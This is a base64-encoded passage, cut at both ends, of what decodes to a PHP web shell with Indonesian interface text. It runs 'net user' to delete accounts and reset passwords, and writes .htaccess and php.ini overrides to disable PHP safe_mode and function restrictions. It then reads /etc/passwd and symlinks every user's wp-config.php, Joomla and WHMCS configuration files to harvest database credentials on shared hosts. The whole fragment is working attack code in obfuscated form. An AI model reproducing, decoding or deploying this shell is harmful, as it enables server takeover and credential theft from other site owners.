jxici8+PGZvbnQgY2xhc3M9J3JhcGloYmFuZ2V0Jz4tLS0gVXNlcm5hbWUgIDogIi4kcl91c2VyLiI8L2ZvbnQ+PGJyLz48Zm9udCBjbGFzcz0ncmFwaWhiYW5nZXQnPi0tLSBQYXNzd29yZCAgOiA8L2ZvbnQ+Ii4kcl9wYXNzLiRvLiI8L2ZvbnQ+PGJyLz48YnIvPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY2xhc3M9J3JhcGloYmFuZ2V0Jz5bK10gVGhhbmsgRm9yIFVzaW5nIEl0IH5fXiA8L2ZvbnQ+PGJyLz48YnIvPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CgoKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlIGlmKCRfUE9TVFsna3NoZWxsJ109PSIyIikKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHN0eWxlPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuY29lZ3ttYXJnaW4tbGVmdDozMCU7fQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3N0eWxlPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ2Frc2knXT09IjEiKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPSdjb2VnJz4iLnNoZWxsX2V4ZWMoIm5ldCB1c2VyIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIGlmKCRfUE9TVFsnYWtzaSddPT0iMiIpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXJuYW1lID0gJF9QT1NUWydydXNlcm5hbWUnXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY21kX2Nla191c2VyICAgPSBzaGVsbF9leGVjKCJuZXQgdXNlciIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCR1c2VybmFtZSkpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYocHJlZ19tYXRjaCgiLyR1c2VybmFtZS8iLCAkY21kX2Nla191c2VyKSl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY21kX2FkZF91c2VyICAgPSBzaGVsbF9leGVjKCJuZXQgdXNlciAiLiR1c2VybmFtZS4iIC9ERUxFVEUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRjbWRfYWRkX3VzZXIpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNsYXNzPSdyYXBpaGJhbmdldCc+WytdIFNlZGFuZyBNZW1yb3Nlcy4uIFNpbGFoa2FuIFR1bmdndS4uICA8L2ZvbnQ+PGJyIC8+PGJyIC8+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRnYXlhX3Jvb3QuIjxmb250IGNsYXNzPSdyYXBpaGJhbmdldCc+WytdIFNlbGFtYXQhIFJlbW92ZSBVc2VyICA8L2ZvbnQ+PGZvbnQgY29sb3I9J29yYW5nZSc+Ii4kdXNlcm5hbWUuIiA8L2ZvbnQ+PGZvbnQgY29sb3I9J2dyZWVueWVsbG93Jz5CZXJoYXNpbCEhPC9mb250PjxiciAvPjxiciAvPiIuJG87CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9ZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZ2F5YV9yb290LiI8Zm9udCBjbGFzcz0ncmFwaWhiYW5nZXQnPlsrXSBZYWggOiggUmVtb3ZlIFVzZXIgIDwvZm9udD48Zm9udCBjb2xvcj0nb3JhbmdlJz4iLiR1c2VybmFtZS4iIDwvZm9udD48Zm9udCBjb2xvcj0ncmVkJz5HYWdhbCEhPC9mb250PjxiciAvPjxiciAvPiIuJG87CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1lbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGdheWFfcm9vdC4iPGZvbnQgY2xhc3M9J3JhcGloYmFuZ2V0Jz5BcmUgWW91IEtpZGRpbmcgTWU/ISBVc2VybmFtZSA6IDwvZm9udD48Zm9udCBjb2xvcj0nb3JhbmdlJz4iIC4kdXNlcm5hbWUuICIgPC9mb250Pjxmb250IGNvbG9yPSdyZWQnPiBJdHUgRW5nZ2FrIEFkYSEhPC9mb250PjxiciAvPjxiciAvPiIuJG87CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfWVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZ2F5YV9yb290LiI8Zm9udCBjbGFzcz0ncmFwaWhiYW5nZXQnPiBTaWxhaGthbiBNYXN1a2thbiBEYWh1bHUgVXNlcm5hbWUgWWFuZyBNYXUgRGkgSGFwdXMhISA8L2ZvbnQ+PGJyIC8+PGJyIC8+Ii4kbzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSBpZigkX1BPU1RbJ2Frc2knXT09IjMiKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzdHlsZT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC50ZW5nYWhhamF7bWFyZ2luLWxlZnQ6MzUlfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc3R5bGU+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdXNlcm5hbWUgPSAkX1BPU1RbJ3J1c2VybmFtZSddOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXNzd29yZCA9ICRfUE9TVFsnZ2FudGlwdyddOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjbWRfY2VrX3VzZXIgICA9IHNoZWxsX2V4ZWMoIm5ldCB1c2VyIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHVzZXJuYW1lKSl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihwcmVnX21hdGNoKCIvJHVzZXJuYW1lLyIsICRjbWRfY2VrX3VzZXIpKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY21kX2FkZF91c2VyICAgPSBzaGVsbF9leGVjKCJuZXQgdXNlciAiLiR1c2VybmFtZS4iIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGNtZF9hZGRfdXNlcil7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZ2F5YV9yb290LiI8Zm9udCBjbGFzcz0ndGVuZ2FoYWphJz5HYW50aSBQYXNzd29yZCBVc2VybmFtZSA6ICIuJHVzZXJuYW1lLiIgZGFuIFBhc3N3b3JkIDogIi4kcGFzc3dvcmQuIiA8Zm9udCBjb2xvcj0nZ3JlZW55ZWxsb3cnPkJlcmhhc2lsISE8L2ZvbnQ+PGJyIC8+PGJyIC8+Ii4kbzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1lbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRnYXlhX3Jvb3QuIjxmb250IGNsYXNzPSd0ZW5nYWhhamEnPkdhbnRpIFBhc3N3b3JkIFVzZXJuYW1lIDogIi4kdXNlcm5hbWUuIiBkYW4gUGFzc3dvcmQgOiAiLiRwYXNzd29yZC4iIDxmb250IGNvbG9yPSdyZWQnPkdhZ2FsISE8L2ZvbnQ+PGJyIC8+PGJyIC8+Ii4kbzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfWVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGdheWFfcm9vdC4iPGZvbnQgY2xhc3M9J3JhcGloYmFuZ2V0Jz5BcmUgWW91IEtpZGRpbmcgTWU/ISBVc2VybmFtZSA6IDwvZm9udD48Zm9udCBjb2xvcj0nb3JhbmdlJz4iIC4kdXNlcm5hbWUuICIgPC9mb250Pjxmb250IGNvbG9yPSdyZWQnPiBJdHUgRW5nZ2FrIEFkYSEhPC9mb250PjxiciAvPjxiciAvPiIuJG87CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1lbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRnYXlhX3Jvb3QuIjxmb250IGNsYXNzPSdyYXBpaGJhbmdldCc+IFNpbGFoa2FuIE1hc3Vra2FuIERhaHVsdSBVc2VybmFtZSBZYW5nIE1hdSBEaSBIYXB1cyEhIDwvZm9udD48YnIgLz48YnIgLz4iLiRvOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGJyPjxicj48Zm9udCBjb2xvcj0nc3ByaW5nZ3JlZW4nIGZhY2U9J0ZyZWRlcmlja2EgVGhlIEdyZWF0Jz5UT09MUyBHQUsgQklTQSBESSBQQUtFIE5EQU4gLV8tIFNFUlZFUk5ZQSBCVUtBTiBXSU5ET1dTPC9mb250PiI7CiAgICAgICAgICAgICAgICB9ZGllKCk7CiAgICAgICAgfQplbHNlaWYgKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdob3N0ZycpKSB7CiAgICBlY2hvICRiZW5jb25nIC4gIjxjZW50ZXI+PHAgY2xhc3M9J2ZvbnQtZWZmZWN0LXNoYWRvdy1tdWx0aXBsZScgc3R5bGU9Zm9udC1mYW1pbHk6VWJ1bnR1O2ZvbnQtc2l6ZToyNXB4O2NvbG9yOiM1OEZBRjQ7PjxiPlN5bWxpbmsgSG9zdEdhdG9yIFNlcnZlciAoJy5pbmknKSBFeHRlbnNpb24gTWV0aG9kPC9iPjwvcD4iOwo/PjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly93d3cudGF5bG9yY2xhcmsuY28vd3AtY29udGVudC91cGxvYWRzLzIwMTMvMDYvSG9zdGdhdG9yLVZTLUFtYXpvbi5qcGciPjwvY2VudGVyPjxjZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3Q+PGZvbnQgY29sb3I9IzU4RkFGNCBzaXplPTIgZmFjZT0iQ291cmllciBOZXciPkdldCB1c2VycyAoZXRjL3Bhc3N3ZCkgZm9yIHN5bWxpbmsgXl9ePC9mb250PjxwPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPSJob3N0ZyIgdmFsdWU9IkV4dHJhY3QgdXNlcm5hbWVzIiAvPjwvZm9ybT48L2NlbnRlcj4gPD9waHAKICAgIGlmIChpc3NldCgkX1BPU1RbJ2hvc3RnJ10pKSB7Cj8+PGZvcm0gbWV0aG9kPXBvc3Q+PHRleHRhcmVhIHJvd3M9MTAgY29scz01MCBuYW1lPXVzZXI+PD9waHAKICAgICAgICAkdXNlcnMgPSBmaWxlKCIvZXRjL3Bhc3N3ZCIpOwogICAgICAgIGZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikgewogICAgICAgICAgICAkc3RyID0gZXhwbG9kZSgiOiIsICR1c2VyKTsKICAgICAgICAgICAgZWNobyAkc3RyWzBdIC4gIlxuIjsKICAgICAgICB9Cj8+PC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1IHZhbHVlPSJCeXBhc3MgSG9zdEdhdG9yIENvbmZpZ3MiIC8+PC9mb3JtPiA8P3BocAogICAgfQo/Pjw/cGhwCiAgICBlcnJvcl9yZXBvcnRpbmcoMCk7CiAgICBlY2hvICI8Zm9udCBjb2xvcj0jNThGQUY0IHNpemU9MiBmYWNlPVwiQ291cmllciBOZXdcIj4iOwogICAgaWYgKGlzc2V0KCRfUE9TVFsnc3UnXSkpIHsKICAgICAgICBta2RpcignSG9zdEdhdG9yJywgMDc1NSk7CiAgICAgICAgJHJyID0gIiBPcHRpb25zICtGb2xsb3dTeW1MaW5rcyBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBPcHRpb25zICtJbmRleGVzIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuIEFkZFR5cGUgdGV4dC9wbGFpbi5odG1sICI7CiAgICAgICAgJGcgID0gZm9wZW4oJ0hvc3RHYXRvci8uaHRhY2Nlc3MnLCAndycpOwogICAgICAgIGZ3cml0ZSgkZywgJHJyKTsKICAgICAgICAkSG9zdEdhdG9yID0gc3ltbGluaygiLyIsICJIb3N0R2F0b3Ivcm9vdCIpOwogICAgICAgICRydCAgICAgICAgPSAiPGEgaHJlZj1Ib3N0R2F0b3Ivcm9vdD48Zm9udCBjb2xvcj0jZmYwMDAwIHNpemU9MiBmYWNlPVwiQ291cmllciBOZXdcIj4gQnlwYXNzZWQgU3VjY2Vzc2Z1bGx5PC9mb250PjwvYT4iOwogICAgICAgIGVjaG8gIkNoZWNrIGxpbmsgZ2l2ZW4gYmVsb3cgZm9yIC8gZm9sZGVyIHN5bWxpbmsgPGJyPjxiPiRydDwvYj4iOwogICAgICAgIG1rZGlyKCdIb3N0R2F0b3InLCAwNzU1KTsKICAgICAgICAkcnIgPSAiIFNhZmVfbW9kZSA9IE9GRiBcbiBEaXNhYmxlX2Z1bmN0aW9ucyA9IE5PTkUgXG4gT3Blbl9iYXNlZGlyID0gT0ZGICI7CiAgICAgICAgJGcgID0gZm9wZW4oJ0hvc3RHYXRvci9waHAuaW5pJywgJ3cnKTsKICAgICAgICBmd3JpdGUoJGcsICRycik7CiAgICAgICAgJEhvc3RHYXRvciA9IHN5bWxpbmsoIi8iLCAiSG9zdEdhdG9yL3Jvb3QiKTsKICAgICAgICBmd3JpdGUoJGYsICRyKTsKICAgICAgICAkY29uc3ltID0gIjxhIGhyZWY9SG9zdEdhdG9yLz48Zm9udCBjb2xvcj0jZmYwMDAwIHNpemU9MiBmYWNlPVwiQ291cmllciBOZXdcIj5jb25maWd1cmF0aW9uIGZpbGVzPC9mb250PjwvYT4iOwogICAgICAgIGVjaG8gIjxicj48Zm9udCBjb2xvcj0jNThGQUY0IHNpemU9MiBmYWNlPVwiQ291cmllciBOZXdcIj5UaGUgbGluayBnaXZlbiBiZWxvdyBpcyBmb3IgY29uZmlncyBwYXRoIHN5bWxpbmssIElmIEZvcmJpZGRlbiB5b3UgY2FuIHZpZXcgQ29uZmlncyBpbnNpZGUgdGhlIFNvdXJjZSBDb2RlIEJ5IENyZWF0aW5nIGFuIHNodG1sIEZpbGUgYW5kIGluY2x1ZGluZyB2aXJ0dWFsIG5hbWUgb2YgdGhlIGNvbmZpZyBuYW1lIE9yIEp1c3QgQmFjayBDb25uZWN0IHRvIHRoZSBzZXJ2ZXIgYW5kIHJldHJpZXZlIHJvb3QgbWFudWFsbHkgbG4gLXMgLyBHb29kIENoYW5jZSBeX14gIDwvZm9udD48YnI+PGI+PGZvbnQgY29sb3I9IzU4RkFGNCBzaXplPTIgZmFjZT1cIkNvdXJpZXIgTmV3XCI+JGNvbnN5bTwvZm9udD48L2I+IjsKICAgICAgICAkdXNyICAgICAgICAgICA9IGV4cGxvZGUoIlxuIiwgJF9QT1NUWyd1c2VyJ10pOwogICAgICAgICRjb25maWd1cmF0aW9uID0gYXJyYXkoCiAgICAgICAgICAgICJ3cC1jb25maWcuaW5pIiwKICAgICAgICAgICAgIndvcmRwcmVzcy93cC1jb25maWcuaW5pIiwKICAgICAgICAgICAgImNvbmZpZ3VyYXRpb24uaW5pIiwKICAgICAgICAgICAgImJsb2cvd3AtY29uZmlnLmluaSIsCiAgICAgICAgICAgICJqb29tbGEvY29uZmlndXJhdGlvbi5pbmkiLAogICAgICAgICAgICAidmIvaW5jbHVkZXMvY29uZmlnLmluaSIsCiAgICAgICAgICAgICJpbmNsdWRlcy9jb25maWcuaW5pIiwKICAgICAgICAgICAgImNvbmZfZ2xvYmFsLmluaSIsCiAgICAgICAgICAgICJpbmMvY29uZmlnLmluaSIsCiAgICAgICAgICAgICJjb25maWcuaW5pIiwKICAgICAgICAgICAgIlNldHRpbmdzLmluaSIsCiAgICAgICAgICAgICJzaXRlcy9kZWZhdWx0L3NldHRpbmdzLmluaSIsCiAgICAgICAgICAgICJ3aG0vY29uZmlndXJhdGlvbi5pbmkiLAogICAgICAgICAgICAid2htY3MvY29uZmlndXJhdGlvbi5pbmkiLAogICAgICAgICAgICAic3VwcG9ydC9jb25maWd1cmF0aW9uLmluaSIsCiAgICAgICAgICAgICJ3aG1jL1dITS9jb25maWd1cmF0aW9uLmluaSIsCiAgICAgICAgICAgICJ3aG0vV0hNQ1MvY29uZmlndXJhdGlvbi5pbmkiLAogICAgICAgICAgICAid2htL3dobWNzL2NvbmZpZ3VyYXRpb24uaW5pIiwKICAgICAgICAgICAgInN1cHBvcnQvY29uZmlndXJhdGlvbi5pbmkiLAogICAgICAgICAgICAiY2xpZW50cy9jb25maWd1cmF0aW9uLmluaSIsCiAgICAgICAgICAgICJjbGllbnQvY29uZmlndXJhdGlvbi5pbmkiLAogICAgICAgICAgICAiY2xpZW50ZXMvY29uZmlndXJhdGlvbi5pbmkiLAogICAgICAgICAgICAiY2xpZW50ZS9jb25maWd1cmF0aW9uLmluaSIsCiAgICAgICAgICAgICJjbGllbnRzdXBwb3J0L2NvbmZpZ3VyYXRpb24uaW5pIiwKICAgICAgICAgICAgImJpbGxpbmcvY29uZmlndXJhdGlvbi5pbmkiLAogICAgICAgICAgICAiYWRtaW4vY29uZmlnLmluaSIKICAgICAgICApOwogICAgICAgIGZvcmVhY2ggKCR1c3IgYXMgJHVzcykgewogICAgICAgICAgICAkdXMgPSB0cmltKCR1c3MpOwogICAgICAgICAgICBmb3JlYWNoICgkY29uZmlndXJhdGlvbiBhcyAkYykgewogICAgICAgICAgICAgICAgJHJzID0gIi9ob21lLyIgLiAkdXMgLiAiL3B1YmxpY19odG1sLyIgLiAkYzsKICAgICAgICAgICAgICAgICRyICA9ICJIb3N0R2F0b3IvIiAuICR1cyAuICIgLi4gIiAuICRjOwogICAgICAgICAgICAgICAgc3ltbGluaygkcnMsICRyKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfQplbHNlaWYgKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdncmFiYycpKSB7IEBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsKICAgIGVjaG8gIgo8Zm9ybSBtZXRob2Q9J1BPU1QnPgo8L2hlYWQ+CjxzdHlsZT4KdGV4dGFyZWF7cmVzaXplOm5vbmU7Y29sb3I6IzAwMDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7Zm9udC1zaXplOjhwdDtjb2xvcjojZmZmO2JvcmRlcjoxcHggc29saWQgd2hpdGU7Ym9yZGVyLWxlZnQ6NHB4IHNvbGlkIHdoaXRlO3dpZHRoOjU0M3B4O2hlaWdodDo0MDBweH1pbnB1dHtjb2xvcjojMDAwO2JvcmRlcjoxcHggZG90dGVkIHdoaXRlfQo8L3N0eWxlPiI7CmVjaG8gIjxjZW50ZXI+Ijs/PjwvY2VudGVyPjxicj48Y2VudGVyPjw/cGhwIGlmIChlbXB0eSgkX1BPU1RbJ2NvbmZpZyddKSkgeyA/PjxwPjxmb250IGZhY2U9IkNhYmluIiBjb2xvcj0ic3ByaW5nZ3JlZW4iIHNpemU9IjJwdCI+L2V0Yy9wYXNzd2QgY29udGVudDwvcD48YnI+PGZvcm0gbWV0aG9kPSJQT1NUIj48dGV4dGFyZWEgbmFtZT0icGFzc3dkIiBjbGFzcz0naW5wdXR6JyByb3dzPScxNScgY29scz0nNjAnPjw/cGhwIGVjaG8gZmlsZV9nZXRfY29udGVudHMoJy9ldGMvcGFzc3dkJyk7ID8+PC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCBuYW1lPSJjb25maWciIGNsYXNzPSdpbnB1dHonIHNpemU9IjEwMCIgdmFsdWU9IkdyYWIhIiB0eXBlPSJzdWJtaXQiPjxicj48L2Zvcm0+PC9jZW50ZXI+PGJyPjw/cGhwIH1pZiAoJF9QT1NUWydjb25maWcnXSkgeyRmdW5jdGlvbiA9ICRmdW5jdGlvbnM9QGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7aWYoZXJlZ2koInN5bWxpbmsiLCRmdW5jdGlvbnMpKXtkaWUgKCc8ZXJyb3I+U3ltbGluayBkaXNhYmxlZCA6KCA8L2Vycm9yPicpO31AbWtkaXIoJ1NhZC1Db25mJywgMDc1NSk7QGNoZGlyKCdTYWQtQ29uZicpOwokaHRhY2Nlc3M9IgpPUFRJT05TIEluZGV4ZXMgRm9sbG93U3ltTGlua3MgU3ltTGlua3NJZk93bmVyTWF0Y2ggSW5jbHVkZXMgSW5jbHVkZXNOT0VYRUMgRXhlY0NHSQpPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MKRm9yY2VUeXBlIHRleHQvcGxhaW4KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAKQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sCkFkZFR5cGUgdGV4dC9odG1sIC5zaHRtbApBZGRUeXBlIHR4dCAucGhwCkFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwCkFkZEhhbmRsZXIgdHh0IC5waHAKQWRkSGFuZGxlciB0eHQgLmh0bWwKQWRkSGFuZGxlciB0eHQgLnNodG1sCk9wdGlvbnMgQWxsCk9wdGlvbnMgQWxsIjsKZmlsZV9wdXRfY29udGVudHMoIi5odGFjY2VzcyIsJGh0YWNjZXNzLEZJTEVfQVBQRU5EKTskcGFzc3dkPSRfUE9TVFsicGFzc3dkIl07CiRwYXNzd2Q9ZXhwbG9kZSgiXG4iLCRwYXNzd2QpOwplY2hvICI8YnI+PGJyPjxjZW50ZXI+PGZvbnQgZmFjZT0nY2FiaW4nIGNvbG9yPUNyaW1zb24gc2l6ZT0ycHQ+S2FsZW0gTmRhbiBMYWdpIERpIFByb3Nlcy4uLjwvY2VudGVyPjxicj4iOwpmb3JlYWNoKCRwYXNzd2QgYXMgJHB3ZCl7CiRwYXdkPWV4cGxvZGUoIjoiLCRwd2QpOyR1c2VyID0kcGF3ZFswXTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cDEzLXdwLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1dQL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AxMy1XUC50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AxMy13cC1iZXRhLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cDEzLWJldGEudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cDEzLXByZXNzLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMtd29yZHByZXNzLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMtV29yZHByZXNzLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cDEzLVdvcmRwcmVzcy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkdXNlci4nLWNvbmZpZ2dnLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cDEzLW5ld3MudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AxMy1uZXcudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywkdXNlci4nLXdwLWJsb2cudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywkdXNlci4nLXdwLWJldGEudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZ3Mvd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cC1ibG9ncy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AtaG9tZS50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9kYi5waHAnLCR1c2VyLictZGJjb25mLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cC1zaXRlLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cC1tYWluLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLXdwLXRlc3QudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvb21sYTIudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvb21sYS1wcm90YWwudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvby50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictam9vbWxhLWNtcy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvb21sYS1zaXRlLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictam9vbWxhLW1haW4udHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy1qb29tbGEtbmV3cy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictam9vbWxhLW5ldy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvb21sYS1ob21lLnR4dCcpOwpAc3ltbGluaygnL2hvbWUv